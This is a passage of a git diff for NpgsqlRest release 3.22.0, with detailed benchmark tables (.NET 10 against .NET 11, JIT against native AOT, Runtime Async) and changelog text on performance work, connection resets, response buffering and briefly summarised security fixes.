/ 248 | +| AOT 3.22.0 | 166.8 / 157.5 / 159.8 | 366.5 / 344.4 / 353.9 | 595.0 / 557.5 / 570.0 | 61 / 65 / 60 | +| AOT 3.22.0 Runtime Async | 163.4 / 162.6 / 165.0 | 355.2 / 346.5 / 356.1 | 582.5 / 578.3 / 588.3 | 60 / 60 / 64 | + +### .NET 10 against .NET 11 with the same 3.22.0 code (both with `DISCARD ALL`, before the reset rule) + +Requests per second at 32 connections and mean response time at 1 connection (µs): + +| | Text req/s | 100 rows req/s | Text µs | 100 rows µs | 119 KB json µs | +|---|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 39,908 / 39,701 / 39,338 | 16,597 / 16,504 / 16,956 | 188.7 / 181.1 / 183.7 | 441.7 / 446.7 / 446.1 | 2408.0 / 2433.7 / 2514.1 | +| JIT 3.22.0 code on .NET 10 | 34,767 / 34,084 / 34,264 | 18,557 / 18,437 / 18,535 | 189.7 / 189.9 / 187.2 | 392.8 / 390.7 / 391.5 | 2092.7 / 2114.1 / 2059.3 | +| JIT 3.22.0 (.NET 11) | 34,474 / 35,043 / 35,315 | 18,645 / 18,489 / 18,258 | 194.4 / 193.6 / 194.8 | 398.9 / 396.5 / 398.1 | 2323.7 / 2283.2 / 2320.2 | +| JIT 3.22.0 Runtime Async | 35,813 / 34,988 / 35,444 | 18,311 / 18,270 / 18,883 | 192.0 / 196.2 / 192.4 | 402.8 / 404.5 / 400.6 | 2289.6 / 2269.2 / 2213.2 | +| AOT 3.21.0 (.NET 10) | 41,238 / 39,076 / 38,328 | 14,805 / 15,352 / 15,363 | 182.0 / 181.8 / 180.9 | 458.9 / 466.8 / 464.6 | 2445.8 / 2605.1 / 2365.3 | +| AOT 3.22.0 code on .NET 10 | 35,966 / 36,284 / 33,788 | 17,088 / 17,403 / 17,433 | 192.0 / 193.1 / 193.1 | 424.7 / 418.9 / 422.5 | 2078.1 / 2062.4 / 2068.2 | +| AOT 3.22.0 (.NET 11) | 33,472 / 33,692 / 34,813 | 16,675 / 16,297 / 16,993 | 194.8 / 190.6 / 195.8 | 422.0 / 427.5 / 428.4 | 2150.9 / 2177.4 / 2172.9 | +| AOT 3.22.0 Runtime Async | 33,589 / 32,967 / 33,690 | 16,590 / 16,612 / 16,919 | 194.0 / 196.9 / 197.8 | 426.2 / 426.7 / 429.3 | 2194.1 / 2183.4 / 2150.3 | + +Server CPU per request at 8 connections (µs) and RSS after the load (MB): + +| | Text | 100 rows | 119 KB json | RSS | +|---|---|---|---|---| +| JIT 3.21.0 (.NET 10) | 192.4 / 194.5 / 202.2 | 417.6 / 428.2 / 384.2 | 807.5 / 871.7 / 880.0 | 335 / 341 / 345 | +| JIT 3.22.0 code on .NET 10 | 211.6 / 208.9 / 212.8 | 360.6 / 357.8 / 362.6 | 600.0 / 593.3 / 577.5 | 282 / 280 / 283 | +| JIT 3.22.0 (.NET 11) | 152.1 / 153.1 / 150.8 | 290.5 / 290.1 / 285.9 | 531.7 / 550.0 / 529.2 | 141 / 140 / 141 | +| JIT 3.22.0 Runtime Async | 153.4 / 155.0 / 150.6 | 292.1 / 292.2 / 285.0 | 556.7 / 551.7 / 530.0 | 144 / 143 / 148 | +| AOT 3.21.0 (.NET 10) | 156.5 / 158.5 / 158.6 | 442.9 / 435.8 / 405.1 | 769.2 / 745.0 / 764.2 | 245 / 244 / 248 | +| AOT 3.22.0 code on .NET 10 | 205.9 / 212.1 / 205.8 | 363.2 / 392.8 / 389.9 | 622.5 / 625.8 / 613.3 | 203 / 203 / 204 | +| AOT 3.22.0 (.NET 11) | 162.5 / 161.9 / 164.2 | 361.1 / 355.0 / 357.8 | 579.2 / 565.8 / 569.2 | 61 / 60 / 65 | +| AOT 3.22.0 Runtime Async | 159.6 / 160.0 / 163.4 | 355.4 / 354.8 / 355.5 | 569.2 / 563.3 / 564.2 | 60 / 61 / 66 | + + +The third table is where "what .NET 11 itself changes" in the changelog comes from. It was measured before the reset rule existed, so both 3.22.0 builds in it reset with `DISCARD ALL`, and 3.21.0 (which never reset) is listed only for orientation. + +Runtime Async against standard async, final builds: every figure is within the spread between rounds. The 2-3% lower row throughput noted in round 2 was an order effect (Runtime Async always ran last there); with the order varied it is gone. + +## What resetting connections costs + +The same 3.22.0 binaries with the three reset behaviors. "No reset" is the final build with default settings (three rounds), "lighter reset" the build that always reset (three rounds), `DISCARD ALL` the builds before the client change (JIT: six runs for text, three for PL/pgSQL; AOT: five and two). Averages: + +| | No reset | Lighter reset | `DISCARD ALL` | 3.21.0 (no reset) | +|---|---:|---:|---:|---:| +| JIT, text req/s (32 connections) | 39,162 | 34,808 | 34,940 | 39,242 | +| JIT, PL/pgSQL req/s | 32,074 | 27,224 | 23,223 | 32,637 | +| JIT, PL/pgSQL response time | 260.5 µs | 276.5 µs | 355.8 µs | 254.8 µs | +| JIT, text response time | 190.5 µs | 198.5 µs | 193.9 µs | 182.6 µs | +| AOT, text req/s (32 connections) | 38,136 | 33,297 | 33,928 | 39,071 | +| AOT, PL/pgSQL req/s | 30,841 | 26,968 | 21,904 | 31,847 | +| AOT, PL/pgSQL response time | 260.2 µs | 277.5 µs | 359.5 µs | 250.8 µs | +| AOT, text response time | 191.5 µs | 200.8 µs | 195.6 µs | 182.7 µs | + +Reading: any reset costs 11-15% of the throughput of a small request, because PostgreSQL executes it on every request. For a trivial SQL function the lighter reset is no cheaper than `DISCARD ALL` (seven commands instead of one; slightly slower, in fact). What it saves is the re-planning: the five-statement PL/pgSQL function goes from 356-360 µs to 277 µs, against 260 µs without a reset. + +One oddity for whoever repeats this: with one connection, the 100-row endpoint answers about 5% *faster* with a reset than without (the small reply to the reset arrives first and the read of the rows that follows is quicker). It does not show in throughput or CPU, and it is one reason to weight those more than single-connection response times. + +## JIT: BenchmarkDotNet against master + +The endpoint benchmark was copied into a worktree of `master` (it did not exist in 3.21.0) with the same BenchmarkDotNet version. Interleaved runs, mean time and allocation per request: + +| | GetText | GetRows100 | HttpOnly | NpgsqlOnly | +|---|---|---|---|---| +| 3.21.0, .NET 10, run 1 | 177.19 µs, 7.13 KB | 425.20 µs, 190.68 KB | 30.47 µs, 2.99 KB | 125.16 µs, 1.55 KB | +| 3.22.0, .NET 11, run 1 | 180.18 µs, 4.91 KB | 394.10 µs, 51.02 KB | 38.88 µs, 3.03 KB | 131.70 µs, 1.57 KB | +| 3.21.0, .NET 10, run 2 | 176.77 µs, 7.13 KB | 425.02 µs, 190.68 KB | 30.22 µs, 2.99 KB | 129.12 µs, 1.55 KB | +| 3.22.0, .NET 11, run 2 | 180.98 µs, 4.90 KB | 400.76 µs, 50.97 KB | 39.36 µs, 3.03 KB | 131.76 µs, 1.57 KB | + +GetRows100 collections per 1,000 requests: gen 0 23.44 -> 6.35, gen 1 3.42 -> 0.49. The Runtime Async figures are those of round 2 (the library did not change afterwards). + +The two controls are the interesting part for .NET 11: the same plain HTTP round trip takes 30.3 µs on .NET 10 and 39.1 µs on .NET 11, the same Npgsql query 127.1 µs and 131.7 µs. Together that is 13.4 µs more on .NET 11 for work NpgsqlRest is not involved in, which is why GetText is 3.6 µs slower although NpgsqlRest's own part (GetText minus the two controls) went from 19.6 µs to 9.8 µs. The benchmark uses the library with a plain connection string, so both versions reset their connections with `DISCARD ALL`; the reset rule lives in the `npgsqlrest` client and plays no part here. + +Native AOT binary (osx-arm64): 35,343,856 bytes for 3.21.0, 36,255,760 for 3.22.0, 35,972,768 with Runtime Async. + +Verification of the final state: 3,013 tests pass on .NET 11 and on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`); both final AOT executables pass `.github/scripts/aot-smoke-test.sh`. + diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md index 11ac929c..a11e3a24 100644 --- a/changelog/v3.22.0.md +++ b/changelog/v3.22.0.md @@ -25,6 +25,7 @@ Most applications upgrade without changes. Go through this list; each item links - **HTTP Custom Types:** request values are percent-encoded in the URL, and calls without `@timeout` time out after 30 seconds. → [details](#breaking-http-custom-types-encode-request-values-in-the-url-and-calls-time-out-after-30-seconds-by-default) - **Login clients:** a wrong password now returns `401`, not `404`. → [details](#breaking-a-wrong-password-now-answers-like-an-unknown-user-401) - **Upload `row_command` with `{placeholders}`:** placeholders are no longer substituted in that SQL. → [details](#breaking-no-placeholder-substitution-in-upload-row_command) +- **`user_context` and session state:** when an endpoint uses `user_context` (or `request_headers context`, the upload metadata context key or `BeforeRoutineCommands`) without `WrapInTransaction`, every connection is now reset between requests. Settings left by your own SQL (`set_config(..., false)`, `SET ROLE`, temporary tables) no longer survive to the next request, and a cleared setting reads as an empty string, not NULL. → [details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections) - **Passkeys:** frontends must send `userContext` back exactly as received, and multi-instance deployments need shared Data Protection keys. → [details](#passkeys-a-signed-in-user-could-add-their-passkey-to-someone-elses-account) - **External login:** accounts whose email the provider reports as unverified are rejected. With Microsoft login, identify users by the stable `sub` id rather than by email. → [details](#external-login-unverified-email-addresses-are-rejected) - **MCP from a browser page on the same named host** (e.g. `https://app.example.com` calling its own `/mcp`): add that origin to `McpOptions.AllowedOrigins`. → [details](#mcp-the-dns-rebinding-check-could-be-bypassed) @@ -38,6 +39,7 @@ Most applications upgrade without changes. Go through this list; each item links - Multi-line SSE messages now arrive complete, as one event. → [details](#server-sent-events-forged-events-and-unbounded-memory-for-idle-subscribers) - Static files inside dot-directories (such as `.git`) are no longer served; `.well-known` still is. → [details](#static-files-protected-pages-reachable-through-path-variants-git-served-unbounded-memory) - New startup warnings point out risky settings. → [details](#new-startup-warnings-for-risky-configurations) +- Row responses smaller than 16 KB are sent in one piece when the query finishes, not every 25 rows. An endpoint meant to send rows as they are produced needs `buffer_rows 0`. → [details](#rows-are-sent-in-larger-pieces) --- @@ -47,47 +49,172 @@ Most applications upgrade without changes. Go through this list; each item links - CI runs the full test suite twice: on .NET 11, and against the library's `net10.0` build on the .NET 10 runtime (`dotnet test NpgsqlRestTests -p:NpgsqlRestTestFramework=net10.0`). - The JIT Docker image (`Dockerfile.jit`) uses the .NET 11 `aspnet` and `sdk` base images. The native AOT images are unchanged; they build a self-contained binary. - CI builds, tests and publishes with the .NET 11 SDK (plus the .NET 10 runtime for the second test run). `global.json` pins SDK `11.0.100`. -- CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an `authorize` endpoint, gzip, and 200 parallel requests (`.github/scripts/aot-smoke-test.sh`). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below. -- **Runtime Async is not enabled.** .NET 11 introduces Runtime Async (`runtime-async=on`), which replaces compiler-generated async state machines with runtime-managed suspension. NpgsqlRest was tested with it twice: - - With the original request handler, one very large async method, it was harmful. The native AOT build of `npgsqlrest` crashed on the very first request, and every wait for I/O saved about 13.7 KB of state instead of one 0.8 KB object. - - With the handler split into smaller methods (see [Performance](#performance)), both problems are gone. The AOT build serves requests normally, and the cost per request is ordinary. It is still slightly behind the build that ships: about 0.65 KB more allocated per request, at the same speed. The shipped build reuses the request's async state from a pool, and pooled methods don't use Runtime Async. +- CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an `authorize` endpoint, gzip, a 200 KB value, 2,000 rows, and 200 parallel requests (`.github/scripts/aot-smoke-test.sh`). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below. +- **Runtime Async is not enabled, but it now can be.** .NET 11 introduces Runtime Async (`runtime-async=on`), which replaces compiler-generated async state machines with suspension managed by the runtime. NpgsqlRest was measured with it at each stage of this release: + - **With the original request handler**, one very large async method, it was harmful. The native AOT build of `npgsqlrest` crashed on its very first request, and every wait for I/O saved about 13.7 KB of state instead of one 0.8 KB object. + - **With the handler split into a few large methods**, the crash was gone, but every request still allocated about 1 KB more. The reason turned out to be simple: with Runtime Async, what a method saves while it waits is sized for its *largest* waiting point, and every wait in that method pays for it. The two main request methods each saved 450–480 bytes whenever a request waited for the database. + - **With the request pipeline restructured** into small methods around one request state (see [Performance](#performance)), Runtime Async costs almost nothing. It was measured next to the build that ships, as JIT and as native AOT: requests per second, response times and CPU per request are the same within measurement noise (the last column of the tables under [Performance](#performance)). It allocates about 0.3 KB more per request. The native AOT executable works with it and is 0.3 MB smaller, and the whole test suite passes with it. - So it stays off for now, and will be revisited as Runtime Async matures. + So it is safe now, but it has no benefit yet, and it stays off. What is left has one cause: a request spends its waiting time inside Npgsql, and Npgsql 10 is not compiled with Runtime Async. Every wait that crosses that boundary costs an extra small object, while the build that ships reuses its async state from a pool. That changes when Npgsql ships Runtime Async builds, and it will be measured again then. To try it yourself, build with `-p:NpgsqlRestRuntimeAsync=true` (it applies to the `net11.0` builds; the `net10.0` builds are never affected). + +- **What .NET 11 itself changes.** The same 3.22.0 code was built for both runtimes and put under the same load (the method is described under [Performance](#performance); same connection settings on both sides): + + | Same code, 3.22.0 | JIT on .NET 10 | JIT on .NET 11 | AOT on .NET 10 | AOT on .NET 11 | + |---|---:|---:|---:|---:| + | Requests per second, text value (32 connections) | 34,372 | 34,944 | 35,346 | 33,992 | + | Requests per second, 100 rows (32 connections) | 18,510 | 18,464 | 17,308 | 16,655 | + | Response time, text value (one at a time) | 189 µs | 194 µs | 193 µs | 194 µs | + | Response time, 119 KB JSON value (one at a time) | 2.09 ms | 2.31 ms | 2.07 ms | 2.17 ms | + | Server CPU per request, text value | 211 µs | 152 µs | 208 µs | 163 µs | + | Server CPU per request, 100 rows | 360 µs | 289 µs | 382 µs | 358 µs | + | Process memory after the load | 282 MB | 141 MB | 203 MB | 62 MB | + + On this machine .NET 11 serves about the same number of requests (up to 4% fewer as native AOT) and answers a single request slightly later (0–3%, a large value 5–11%). It does so with clearly less CPU time (6–28%) and with half to a third of the memory. These are numbers from one machine (macOS on Apple silicon); expect the direction, not the exact figures, elsewhere. --- ### Performance -Requests allocate much less memory, and on JIT deployments row-returning endpoints are about 10% faster. Two measurements, on the same machine and PostgreSQL in Docker. "Before" is 3.22.0 with the security fixes and without the performance work (`5befe76`), "after" is `9d63171`. +Compared with 3.21.0, this release serves **21–24% more row requests per second**, needs **28–36% less CPU** for them, **37–45% less CPU** for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. + +NpgsqlRest runs in two ways, and they are measured separately: + +- **JIT**: the NuGet library inside your own application, the JIT Docker image (`Dockerfile.jit`), `dotnet run`. +- **Native AOT**: the `npgsqlrest` executable (npm, release downloads, the default Docker images). + +Each was measured in three builds: **3.21.0** as released, on .NET 10; **3.22.0** on .NET 11, as it ships; and 3.22.0 on .NET 11 compiled with **Runtime Async**, which is not what ships (see [.NET 11](#net-11)). + +#### 3.22.0 compared with 3.21.0 + +All builds were published the standard way, started with default settings, and put under load by an HTTP/1.1 client with keep-alive connections. Everything ran on one machine: Apple M4 Pro, PostgreSQL 17 in Docker, all on localhost. Four endpoints were used: a function returning one short text value, a PL/pgSQL function running five small queries, a function returning 100 rows of mixed column types (15 KB of JSON), and a function returning one 119 KB `json` value. Three runs each, in different orders; averages are shown. *CPU per request* is the server process's CPU time divided by the number of requests. + +**JIT** + +| | 3.21.0 (.NET 10) | 3.22.0 (.NET 11) | Change | 3.22.0, Runtime Async | +|---|---:|---:|---:|---:| +| **Requests per second** (32 connections) | | | | | +| Text value | 39,242 | 39,162 | same | 39,681 | +| PL/pgSQL function | 32,637 | 32,074 | same | 32,166 | +| 100 rows | 16,484 | 20,471 | **+24%** | 20,194 | +| **Response time**, one request at a time | | | | | +| Text value | 183 µs | 191 µs | +4% | 190 µs | +| PL/pgSQL function | 255 µs | 261 µs | +2% | 262 µs | +| 100 rows | 454 µs | 420 µs | **−7%** | 423 µs | +| 119 KB JSON value | 2.40 ms | 2.26 ms | **−6%** | 2.22 ms | +| **Server CPU per request** (8 connections) | | | | | +| Text value | 201 µs | 145 µs | **−28%** | 141 µs | +| 100 rows | 425 µs | 273 µs | **−36%** | 273 µs | +| 119 KB JSON value | 882 µs | 484 µs | **−45%** | 476 µs | +| **Process memory after the load** | 333 MB | 147 MB | **−56%** | 147 MB | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 3.22.0 (.NET 11) | Change | 3.22.0, Runtime Async | +|---|---:|---:|---:|---:| +| **Requests per second** (32 connections) | | | | | +| Text value | 39,071 | 38,136 | same | 37,836 | +| PL/pgSQL function | 31,847 | 30,841 | −3% | 31,029 | +| 100 rows | 15,464 | 18,707 | **+21%** | 18,947 | +| **Response time**, one request at a time | | | | | +| Text value | 183 µs | 192 µs | +5% | 191 µs | +| PL/pgSQL function | 251 µs | 260 µs | +4% | 261 µs | +| 100 rows | 481 µs | 473 µs | same | 475 µs | +| 119 KB JSON value | 2.37 ms | 2.12 ms | **−11%** | 2.13 ms | +| **Server CPU per request** (8 connections) | | | | | +| Text value | 158 µs | 151 µs | −4% | 150 µs | +| 100 rows | 457 µs | 327 µs | **−28%** | 323 µs | +| 119 KB JSON value | 780 µs | 493 µs | **−37%** | 489 µs | +| **Process memory after the load** | 248 MB | 64 MB | **−74%** | 66 MB | + +How to read this: + +- Differences of about 3% or less are within the variation between runs ("same"). The load client and PostgreSQL ran on the same machine as the server, so requests per second compare the builds; they are not a capacity figure. +- **Small requests take about 8 µs longer one at a time, and are served at the same rate under load.** That comes from .NET 11, not from NpgsqlRest: a request this small is almost entirely the HTTP stack and one database round trip, and a plain ASP.NET Core endpoint with no database and no NpgsqlRest takes 30 µs on .NET 10 and 39 µs on .NET 11 in the benchmark below. NpgsqlRest's own share of such a request went down, from about 20 µs to about 10 µs. +- **Part of the CPU and most of the memory difference is .NET 11 itself.** On .NET 10, the same 3.22.0 code already needs 11–12% less CPU for rows, 18–31% less for large values and about a sixth less memory than 3.21.0; .NET 11 does the rest (see [.NET 11](#net-11)). +- **Runtime Async makes no measurable difference**, in either direction, in JIT or in native AOT. +- JIT or AOT? Under this load the JIT build needs 2–17% less CPU per request and serves about 9% more row requests, and the AOT executable needs less than half the memory and starts instantly. That trade-off is the same as before. + +#### Connections are reset only when needed + +A request can leave *session-level* settings on its database connection: `user_context` and `request_headers context` pass their values to PostgreSQL with `set_config(..., false)`. Up to 3.21.0 the `npgsqlrest` client never cleared them (it forced `No Reset On Close=true`), which is the leak fixed in this release ([details](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections)). The first fix was to let Npgsql reset every connection when it returns to the pool. That is safe, and it turned out to be expensive: Npgsql's reset is `DISCARD ALL`, PostgreSQL runs it before every request, and it also discards the cached query plans, so each request plans every statement of the PL/pgSQL functions it calls again. + +| Native AOT (the JIT figures are 1–6% higher) | No reset | Reset, as 3.22.0 does it | `DISCARD ALL` | +|---|---:|---:|---:| +| Text value, requests per second (32 connections) | 38,136 | 33,297 | 33,928 | +| PL/pgSQL function with five queries, requests per second | 30,841 | 26,968 | 21,904 | +| PL/pgSQL function with five queries, response time | 260 µs | 278 µs | 360 µs | -**JIT** (library users, the JIT Docker image, `dotnet run`). These are the endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoints`, BenchmarkDotNet). They send one request at a time to an in-process server. `GetText` returns one text value; `GetRows100` returns 100 rows of mixed column types. Allocations are per request, across client and server. +So 3.22.0 does two things: -| | Before | After | Change | -|---|---:|---:|---:| -| `GetText` allocated | 7.28 KB | 5.71 KB | **−22%** | -| `GetRows100` allocated | 190.9 KB | 116.5 KB | **−39%** | -| `GetText` mean time | 202.2 µs | 185.0 µs | −8% | -| `GetRows100` mean time | 467.7 µs | 419.8 µs | **−10%** | +- **It resets only when something can be left behind.** At startup, once the endpoints are built, the client checks whether any request can leave session-level settings on a connection: -**Native AOT** (the `npgsqlrest` executable and AOT Docker images). These are the published binaries, loaded with ApacheBench over HTTP keep-alive, with the same two endpoints. Runs were interleaved, averages are shown: + | Your application | Connections are reset | + |---|---| + | An endpoint uses `user_context` or `request_headers context`, an upload endpoint sets the upload metadata context key, or `BeforeRoutineCommands` are configured | **Yes**, after every request, for all endpoints | + | The same, with `WrapInTransaction` enabled | **No**: the settings are local to the request's transaction | + | None of the above | **No**: nothing NpgsqlRest does stays on a connection | + | The connection string contains `No Reset On Close` | As you set it: `true` never, `false` always | -| | Before | After | Change | -|---|---:|---:|---:| -| Text, one request at a time | 0.247 ms | 0.242 ms | −2% | -| 100 rows, one request at a time | 0.531 ms | 0.513 ms | −3% | -| 100 rows, 32 concurrent requests | 11,764 req/s | 12,120 req/s | within noise | -| Process memory after the load | 101–105 MB | 88–98 MB | lower | + The decision is logged at debug level. The numbers in the tables above are from an application of the third kind. + +- **When it resets, it keeps the query plans.** The client prepares one trivial statement on every new database connection. With a prepared statement present, Npgsql resets a connection with the individual commands (`RESET ALL`, `CLOSE ALL`, `UNLISTEN *`, releasing advisory locks, `DISCARD SEQUENCES`, `DISCARD TEMP`) instead of `DISCARD ALL`. Settings, the role, temporary tables, advisory locks, listeners and cursors are cleared exactly as before; cached plans and prepared statements are kept. PostgreSQL re-plans on its own when the search path, the role or a referenced object changes. + +Two things to know: + +- **Session state left behind by your own SQL** (a `set_config(..., false)` inside a function, a temporary table, `SET ROLE`) is cleared only when connections are reset. If your routines depend on a clean session and no endpoint uses the features in the table, add `No Reset On Close=false` to the connection string. In 3.21.0 and earlier such state was never cleared. +- **SQL that runs `PREPARE name AS ...`** must `DEALLOCATE` it, as in 3.21.0: prepared statements survive the reset. + +For library users: you create the data source, so nothing changes by itself. Npgsql resets its connections with `DISCARD ALL` unless you set `No Reset On Close`. After `UseNpgsqlRest`, the new `NpgsqlRestOptions.ConnectionResetRequired` tells you whether your endpoints need the reset, and this keeps the plans when you do reset: + +```csharp +var dataSourceBuilder = new NpgsqlDataSourceBuilder(connectionString); +// With a prepared statement on the connection, Npgsql resets it with RESET ALL etc. instead of DISCARD ALL. +dataSourceBuilder.UsePhysicalConnectionInitializer( + connection => { using var command = new NpgsqlCommand("select 1", connection); command.Prepare(); }, + async connection => { await using var command = new NpgsqlCommand("select 1", connection); await command.PrepareAsync(); }); +``` + +#### JIT: BenchmarkDotNet -The AOT executable gains less time, because it never had the first problem below: native AOT compiles every method with full optimizations ahead of time. The allocation savings come from the same code, so they apply to AOT as well. The concurrent run is limited by the single-threaded load tool, so it shows no throughput change either way. +The endpoint benchmarks in `BenchmarkTests` (`dotnet run -c Release -- --endpoints`). They send one request at a time to an in-process server, which runs as JIT code and uses the library directly. `GetText` is the text value above and `GetRows100` the 100 rows. Allocations are per request, client and server together. Two interleaved runs each, averages shown. -- **JIT deployments: the request handler is now compiled with full optimizations.** Every request ran through one ~3,400-line async method, too large for the .NET JIT to optimize at run time (over 2,000 basic blocks), so the JIT left it unoptimized for the life of the process. That affected every JIT deployment: NuGet library users, the JIT Docker image, `dotnet run`. The native AOT executable was not affected. The method is now split into a request pipeline plus parameter binding (query string and JSON body) and result rendering (single command and multi-command). Each part reaches the JIT's optimized tier. The main method's IL shrank from 55 KB to 21 KB, and its machine code from 152 KB to 45 KB. This is most of the time saved on row-returning endpoints. -- **The string builder pool never reused the most recently returned builder.** NpgsqlRest pools the `StringBuilder`s it uses to build responses, but an off-by-one in the pool meant most requests got new builders. That was the largest allocation cost on row-returning endpoints. With it fixed, `GetRows100` allocates 38% less and needs about 60% fewer gen-1 collections. -- **Pooled async state.** The request handler and the new parts use .NET's pooling async method builder: the state of a request waiting for the database is reused across requests instead of allocated each time. That's about 0.8 KB less per request. -- **No DI scope per request.** The request handler declared an `IServiceProvider` parameter, so ASP.NET Core created and disposed a dependency-injection scope for every request. The route handler now takes only the `HttpContext` and the request's cancellation token, and the provider is taken from the request only in `ServiceProviderMode`. About 0.3 KB less per request. The handler is still bound at compile time by the Request Delegate Generator, so native AOT builds have no new warnings and the same size. -- **Responses are written straight to the response pipe** (`Response.BodyWriter`) instead of through an extra writer wrapped around the response stream, saving one more copy of every byte. About 0.35–0.45 KB less per request. Response compression and `proxy_out` work as before. -- **Retries allocate only on failure.** The command and connection retry helpers allocated a list for exceptions before the first attempt; now that happens on the first failure. +| JIT | 3.21.0 (.NET 10) | 3.22.0 (.NET 11) | Change | 3.22.0, Runtime Async | +|---|---:|---:|---:|---:| +| `GetText` allocated | 7.13 KB | 4.90 KB | **−31%** | 4.94 KB | +| `GetRows100` allocated | 190.7 KB | 51.0 KB | **−73%** | 51.1 KB | +| `GetRows100` garbage collections per 1,000 requests (gen 0 / gen 1) | 23.4 / 3.4 | 6.3 / 0.5 | **−73% / −86%** | 6.3 / 0.5 | +| `GetText` mean time | 177.0 µs | 180.6 µs | +2% | 178.4 µs | +| `GetRows100` mean time | 425.1 µs | 397.4 µs | **−7%** | 397.6 µs | -`NpgsqlRestEndpoint.InvokeAsync` keeps its public signature; its `IServiceProvider` parameter is now nullable, and when null it is taken from the request. +- Of the 51.0 KB that `GetRows100` still allocates, 44.6 KB is the benchmark's own client holding the response (a 15,217-character string and its byte buffer). Everything else together (the client's HTTP stack, Kestrel, Npgsql and NpgsqlRest) went from 146 KB to 6 KB. +- For `GetText`, two reference benchmarks give the floor: the same HTTP round trip without a database and the same query without HTTP. On .NET 11 they allocate 3.03 KB and 1.57 KB, 4.60 KB together, and NpgsqlRest adds 0.30 KB on top of them. In 3.21.0 on .NET 10 the same two took 4.54 KB and NpgsqlRest added 2.59 KB. +- Time: the two reference benchmarks take 30.3 µs and 127.1 µs on .NET 10, and 39.1 µs and 131.7 µs on .NET 11. That is 13 µs more for the same work on .NET 11, and it is why `GetText` is not faster although NpgsqlRest's own part of it roughly halved (177.0 − 157.4 = 20 µs before, 180.6 − 170.8 = 10 µs now). + +Allocations per request can only be measured this way in JIT mode. The code is the same in the native AOT executable, and its memory under load fell accordingly. + +#### What changed + +- **Rows are written as UTF-8 from start to end.** PostgreSQL sends every value as UTF-8 text, and the response is UTF-8. NpgsqlRest used to turn every value into a .NET string (UTF-16), build each row in a string builder, and encode the result back to UTF-8; a 100-row response created about 1,500 short-lived strings on the way. Rows are now built as bytes: a value's bytes are taken straight from the database reader and written with the JSON punctuation around them, and escaping, arrays, date/time values and booleans are converted on the bytes. The output is the same byte for byte; the tests compare the new converters with the old ones for every character and for arrays of every shape. This covers functions, tables, views and SQL files (single and multi-statement), JSON and raw/CSV output. A value still passes through a string where it has to: decryption (`decrypt`), composite types, table formats, and connections whose client encoding is not UTF-8. +- **A single value is no longer copied through a string.** A function returning one `json` or `text` value had that value read as a string and encoded back: a 119 KB JSON document became a 239 KB string, encoded through a buffer sized for three times its length. The bytes now go from the reader into a pooled buffer and from there into the response. As before, the value is read completely and the query finished before anything is sent, so an error that PostgreSQL reports late still reaches the client as an error. +- **Fewer, larger network writes.** See [Rows are sent in larger pieces](#rows-are-sent-in-larger-pieces) below. This alone is about a tenth of the CPU of a 100-row request. +- **One request state and small async methods.** A request used to run through a few very large async methods with dozens of local variables. All of them stayed alive, in objects allocated or pooled per request, while the request waited for the database. Everything a request needs now lives in one object that is reused across requests, and the request runs as a sequence of small stages (connect and bind parameters, prepare the command, proxy, request context, upload, execute and render, with one method per kind of result). This is what brought NpgsqlRest's own allocations down to 0.3 KB per request, and it is what made Runtime Async safe to turn on (see [.NET 11](#net-11)). +- **JIT deployments: the request handler is now compiled with full optimizations.** Every request ran through one ~3,400-line async method, too large for the .NET JIT to optimize at run time (over 2,000 basic blocks), so the JIT left it unoptimized for the life of the process. That affected every JIT deployment; the native AOT executable never had this problem, which is why its response times improve less than the JIT's. No request method is that large any more, and each reaches the JIT's optimized tier. +- **The string builder pool never reused the most recently returned builder.** NpgsqlRest pools the `StringBuilder`s it uses, but an off-by-one in the pool meant most requests got new builders. +- **The first database attempt is made by the request itself.** Command retries used to wrap every execution in a retry method, one more async method waiting on the database with every request, with a list for exceptions allocated up front. The request now makes the first attempt, and the retry logic takes over only when it fails. What happens on a failure (error code mapping, retries and their delays, logging) is unchanged. +- **No DI scope per request.** The request handler declared an `IServiceProvider` parameter, so ASP.NET Core created and disposed a dependency-injection scope for every request. The provider is now taken from the request only in `ServiceProviderMode`. +- **Endpoints call the handler directly.** ASP.NET Core's generated route handler added one more async method to every request. An endpoint without endpoint filters now calls NpgsqlRest's handler directly; filters added through `RouteHandlerCreated` run as before. The handler is still bound at compile time by the Request Delegate Generator, so native AOT builds have no new warnings and the same size. +- **Responses are written straight to the response pipe** (`Response.BodyWriter`) instead of through an extra writer wrapped around the response stream, which saves one more copy of every byte. Response compression and `proxy_out` work as before. + +For library users: `NpgsqlRestEndpoint.InvokeAsync` keeps its public signature (its `IServiceProvider` parameter is now nullable, and when null it is taken from the request). `NpgsqlRestOptions` has one new option, `ResponseBufferBytes`, and one new read-only property, `ConnectionResetRequired`. + +#### Rows are sent in larger pieces + +Rows used to be sent to the client every 25 rows (`BufferRows`, or the `buffer_rows` annotation). Each of those is a separate network write and HTTP chunk, so a 15 KB response went out in five pieces. Rows are now sent once at least **16 KB** is collected (checked every `BufferRows` rows) and at the end. Two things are visible from outside: + +- **A response smaller than 16 KB arrives in one piece, when the query has finished.** For ordinary endpoints nothing changes except that it is faster. An endpoint that is meant to send rows as they are produced (a slow query whose first rows should show up early) needs `buffer_rows 0`, which sends every row immediately, as before. +- **A query that fails part-way now gives the client an error response**, as long as nothing was sent yet. It used to answer `200` with the first rows and cut-off JSON. + +`buffer_rows 1` still buffers the whole response, at any size. In the library, the threshold is `NpgsqlRestOptions.ResponseBufferBytes`; `0` sends after every `BufferRows` rows regardless of size, which is the previous behavior. --- @@ -177,7 +304,7 @@ In practice, anyone who knew a username could log in as that user, including adm As a result, an anonymous request that reused a connection last used by a signed-in user ran with that user's `request.user_id`, `request.user_name` and roles. Endpoints without `user_context` that read these settings (for example through RLS policies) could see the previous caller's identity too. **What changed.** -- The `npgsqlrest` client no longer forces `No Reset On Close`. 